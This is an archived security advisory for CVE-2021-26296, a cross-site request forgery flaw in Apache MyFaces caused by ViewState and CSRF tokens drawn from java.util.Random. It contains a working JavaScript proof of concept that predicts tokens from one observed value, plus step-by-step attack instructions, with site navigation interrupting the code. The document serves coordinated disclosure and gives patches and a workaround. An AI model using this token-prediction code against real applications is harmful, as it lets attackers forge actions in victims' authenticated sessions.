Apache MyFaces 2.x Cross Site Request Forgery

Authored by Wolfgang Ettlinger

Posted Feb 20, 2021

Apache MyFaces versions 2.2.13 and below, 2.3.7 and below, 2.3-next-M4 and below, and 2.1 and below suffer from a cross site request forgery vulnerability.

tags | exploit, csrf
advisories | CVE-2021-26296
SHA-256 | 9496fb42b8d7b245393af79c43e00c9737bf7e2ce2f045cabe480e1ebae73876 Download | Favorite | View

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~                  Ceritude Securiy Advisory - CSA-2021-001                    ~
~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~
 PRODUCT           : Apache MyFaces
 VENDOR            : The Apache Software Foundation
 SEVERITY          : High
 AFFECTED VERSION  : <=2.2.13, <=2.3.7, <=2.3-next-M4, <=2.1 branches
 IDENTIFIERS       : CVE-2021-26296
 PATCH VERSION     : 2.2.14, 2.3.8, 2.3-next-M5, 3.0.0
 FOUND BY          : Wolfgang Ettlinger, Ceritude Lab
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Introduction
------------

Apache MyFaces is an open-source implementation of JSF. During a quick
evaluation, Ceritude found that the default CSRF protection of Apache MyFaces
was insufficient as the CSRF tokens the framework generates can be guessed by
an attacker.

Moreover, the patch provided by the Apache MyFaces maintainers affects the way
channel tokens for websocket communication are generated. It is unclear,
whether this change fixes a vulnerability.

Vulnerability Overview
----------------------

Applications that employ the MyFaces JSF framework transmit a parameter
"javax.faces.ViewState" with every state-modifying request. Though not
intended for CSRF protection, in the default configuration this parameter
prevents trivial attacks, as it is sufficiently long and tied to a single
session.

However, by default, this value is generated using the insecure random number
generator `java.util.Random`. An attacker can therefore obtain a ViewState
parameter from the application and, based on this value, predict the random
part of ViewState parameters subsequently issued to other users. Besides the
random string, the ViewState parameter contains a sequence number. As the
initial value of the per-session sequence counter is 1, an attacker can very
easily guess this value.

As the ViewState parameter is the sole CSRF protection, knowledge of this
value allows an attacker to conduct CSRF attacks.

When Apache MyFaces is used in client-side saving mode, the ViewState
parameter is insufficient to protect against CSRF. Instead, pages that require
protection against CSRF can be marked as "protected-pages". For these pages,
Apache MyFaces requires CSRF token for each request ("javax.faces.Token"). By
default, the CSRF token too is generated using `java.util.Random`, thus
allowing an attacker to bypass the CSRF protection.

NOTE: Besides the ViewState parameter and the CSRF token, Apache MyFaces also
introduced a cryptographically secure random number generator for the
websocket channel token. Certitude has not verified if this change fixes a
vulnerability.

Proof of Concept
----------------

By default, the class
`org.apache.myfaces.application.viewstate.RandomKeyFactory` is used to
generate ViewState parameter values. This class uses the method
`java.util.Random#nextBytes` as well as a per-session counter value to
generate ViewState strings.

The following JavaScript snippet demonstrates the generation of the random
part of a ViewState value based on the random part of a previously issued
ViewState parameter:

``` {.javascript}
const multiplier = 0x5DEECE66Dn;
const addend = 0xBn;
const mask = (1n << 48n) - 1n;

const unbyte = (bytes, offset) => BigInt(
    Array.from(bytes.slice(offset, offset + 4))
    .map((b, i) => b << (8 * i))
    .reduce((a, b) => a + b));

const longify = n => integer(n, 8n);
const intify = n => integer(n, 4n);
const byteify = n => integer(n, 1n);

function integer(n, len) {
    const bits = len * 8n;
    const hspan = 1n << (bits - 1n);
    return ((n + hspan) % (2n * hspan)) - hspan;
}

const hexToByteArray = s => (new Uint8Array(s.length / 2)
    .map((_, i) => (
        parseInt(s.charAt(2 * i), 16) << 4 |
        parseInt(s.charAt(2 * i + 1), 16))));

const byteArrayToHex = b => (Array.from(b)
    .map(x => (((x + 0x100).toString(16)).substr(-2)))
    .reduce((a, b) => a + b))
    .toUpperCase();

// based on https://github.com/fta2012/ReplicatedRandom/blob/master/ReplicatedRandom.java
function replicatedRandom(bytes) {
    let seed = 0;

    replicateState(
        unbyte(bytes, bytes.length - 8), 32n,
        unbyte(bytes, bytes.length - 4), 32n);

    return nextBytes(bytes.length);

    function replicateState(nextN, n, nextM, m) {
        const upperMOf48Mask = ((1n << m) - 1n) << (48n - m);
        const oldSeedUpperN = (nextN << (48n - n)) & mask;
        const newSeedUpperM = (nextM << (48n - m)) & mask;

        let possibilityCount = 0;

        for (let oldSeed = oldSeedUpperN;
                oldSeed <= (oldSeedUpperN | ((1n << (48n - n)) - 1n));
                oldSeed++) {
            const newSeed = longify(
                longify(oldSeed * multiplier + addend) & mask);
```


File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat 201 files
Ubuntu 78 files
Debian 24 files
LiquidWorm 23 files
malvuln 12 files
nu11secur1ty 11 files
Gentoo 9 files
Google Security Research 8 files
T. Weber 4 files
Julien Ahrens 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)
```

```
            if ((newSeed & upperMOf48Mask) == newSeedUpperM) {
                possibilityCount++;
                seed = newSeed;
            }
        }

        if (possibilityCount != 1) throw new Error('replicateState failed');
    }

    function next(bits) {
        seed = longify(longify(seed * multiplier + addend) & mask);
        return intify(seed >> (48n - bits));
    }

    function nextBytes(count) {
        const res = new Int8Array(count);

        for (let i = 0; i < count; ) {
            let rnd = next(32n);
            for (let n = Math.min(count - i, 4); n > 0; n--) {
                res[i++] = parseInt(byteify(rnd));
                rnd >>= 8n;
            }
        }

        return res;
    }
}
```

An attacker can exploit this issue as follows:

1. An attacker lures an authenticated victim to an attacker-controlled website.
2. As the victim opens the website, the attacker requests a ViewState value from the application.
3. The exploit script opens the target JSF page e.g. in an iframe. For this page, the vulnerable application generates a new random ViewState value.
4. The attacker now predicts a number of the random strings based on the ViewState value received in step 2. As the victim's ViewState value is generated just after the attacker's ViewState value, it is very likely, that the victim's ViewState value is among the generated ones.
5. The exploit script sends several CSRF requests containing combinations of predicted random strings and sequence numbers. If guessed correctly, the vulnerable application accepts the attacker's request.

A similar approach is possible to attack protected pages. Unlike the ViewState values, the CSRF token generated, however, do not contain a sequence counter.

Resolution

The Apache MyFaces maintainers have released a patch that addresses the identified issue. Certitude recommends affected organizations to immediately upgrade to version 2.2.14, 2.3.8, 2.3-next-M5 or 3.0.0. If an upgrade to the latest version is not possible, the Apache MyFaces maintainers recommend setting the following settings to "secureRandom":

- org.apache.myfaces.RANDOM_KEY_IN_VIEW_STATE_SESSION_TOKEN
- org.apache.myfaces.RANDOM_KEY_IN_CSRF_SESSION_TOKEN
- org.apache.myfaces.RANDOM_KEY_IN_WEBSOCKET_SESSION_TOKEN

Note that the patch introduces changes in the way websocket channel tokens are generated. Certitude therefore recommends applying the patch or workaround to all applications that use Apache MyFaces, even if CSRF attacks are of no concern.

Timeline

Date	Text
2020-12-15	Sending encrypted vulnerability description and proof of concept script to the Apache security team
2020-12-15	Apache security team acknowledges receipt
2020-12-28	Apache MyFaces team member requests proof of concept script
2021-01-04	Asking for encrypted communication channel
2021-01-04	Vendor provides PGP key
2021-01-05	Sending encrypted proof of concept
2021-01-07	Vendor requests more information about the PoC
2021-01-08	Providing requested information
2021-01-19	Coordination call with vendor
2021-01-26	Coordination call with vendor
2021-02-02	Coordination call with vendor, release of patches is imminent
2021-02-09	Coordination call with vendor, 3 of 4 patches have been released
2021-02-15	Coordination call with vendor, last patch release is in progress
2021-02-19	Public release of the advisory

Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other

Login or Register to add favorites

Site Links
News by Month
News Tags
Files by Month
File Tags
File Directory

About Us
History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By
Rokasec

Follow us on Twitter
Subscribe to an RSS Feed